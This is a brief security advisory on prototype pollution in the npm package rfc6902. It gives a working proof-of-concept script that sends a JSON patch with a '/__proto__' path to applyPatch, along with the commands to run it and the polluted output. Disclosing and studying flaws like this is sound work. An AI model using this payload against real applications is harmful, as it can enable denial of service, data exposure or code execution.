vulnerability prototype pollution
severity 7.3
language typescript
registry npm


rfc6902 is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var rfc6902 = require("rfc6902")
var obj = {}
console.log("Before : " + {}.polluted);
rfc6902.applyPatch(obj, [{ op: 'add', path: "/__proto__/polluted", value: "Yes! Its Polluted"}]);
console.log("After : " + {}.polluted);
  1. Execute the following commands in another terminal:
npm i rfc6902 # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted